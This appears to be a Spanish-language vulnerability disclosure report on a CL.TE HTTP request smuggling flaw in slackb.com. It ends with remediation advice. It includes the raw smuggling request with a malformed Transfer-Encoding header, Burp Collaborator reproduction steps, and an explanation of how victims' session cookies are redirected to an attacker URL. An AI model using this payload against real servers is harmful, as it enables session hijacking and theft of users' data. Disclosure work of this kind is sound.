Resumen
El HTTP request smuggling es de esas técnicas que parecen magia negra la primera vez, pero la idea es sencilla: cuando tienes un servidor por delante (frontend) y otro por detrás (backend), y los dos no se ponen de acuerdo en dónde termina una petición, un atacante puede "colar" datos que se pegan a la petición de la siguiente víctima. Eso es exactamente lo que pasó en slackb.com, y el premio era robar la cookie de sesión de otros usuarios.
Pasos de reproducción
El desacuerdo aquí es de tipo CL.TE: el frontend calcula el tamaño de la petición con Content-Length y el backend con Transfer-Encoding: chunked. ¿Cómo se consigue que uno lo vea de una forma y el otro de otra? Con un detalle mínimo: un espacio entre Transfer-Encoding y los dos puntos. Suficiente para que el frontend no lo reconozca como chunked pero el backend sí:
GET / HTTP/1.1
- Transfer-Encoding: chunked
+ Transfer-Encoding : chunked
Host: slackb.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET <URL> HTTP/1.1
X: X
Para triarlo con Burp:
- Abrir un Collaborator y copiar su URL.
- En Repeater, enviar esa petición sustituyendo
<URL>por la del Collaborator. - Fijar el destino en
slackb.com:443 (SSL)y enviar. - Pulsar "Poll now" en Collaborator hasta ver aparecer peticiones.
Lo que ocurre por debajo: la parte "colgada" en el socket del backend se antepone a la siguiente petición de una víctima real. Su solicitud se transforma en GET https://<URL>, el backend contesta con un 301 hacia esa URL, y en ese redirect arrastra las cookies de Slack de la víctima —incluida la codiciada cookie d— directas al servidor del atacante.
Impacto
Con la cookie d de una víctima ya se puede secuestrar su sesión, entrar como ella y sacar datos suyos y de su organización. Pero lo grave no es una cuenta: es que el ataque se automatiza trivialmente. Un actor malicioso podía dejar esto corriendo y recolectar sesiones de forma masiva, lo que convierte un fallo técnico en una posible fuga de datos de buena parte de los clientes.
Remediación
La raíz del smuggling siempre es la misma —dos servidores en cadena interpretan distinto el tamaño de una petición—, así que la solución también: que frontend y backend normalicen las cabeceras de longitud exactamente igual, o directamente que el frontend rechace cualquier petición con cabeceras ambiguas (Content-Length y Transfer-Encoding a la vez, o mal formadas) en lugar de intentar adivinar.